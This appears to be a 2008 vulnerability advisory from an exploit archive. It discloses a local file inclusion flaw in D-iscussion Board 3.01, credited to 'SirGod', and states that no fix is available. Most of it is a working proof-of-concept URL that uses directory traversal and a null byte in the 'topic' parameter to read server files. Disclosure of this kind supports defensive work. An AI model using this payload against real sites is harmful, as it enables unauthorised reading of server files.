D-iscussion Board 3.01 (topic) Local File Inclusion Vulnerability

2008-09-11 17:01:07

############################################################################################################
[+] D-iscussion Board 3.01 Local File Inclusion
[+] Discovered By SirGod
[+] MorTal TeaM
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,str0ke
############################################################################################################

Download : http://dino.shiftedphase.com/comp/downloads/forum.zip

[+] Local File Inclusion


PoC :

http://[target]/[path]/general/index.php?topic=[LocalFile]%00

Example :

http://127.0.0.1/3.01/general/index.php?topic=../../../../autoexec.bat%00

############################################################################################################

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.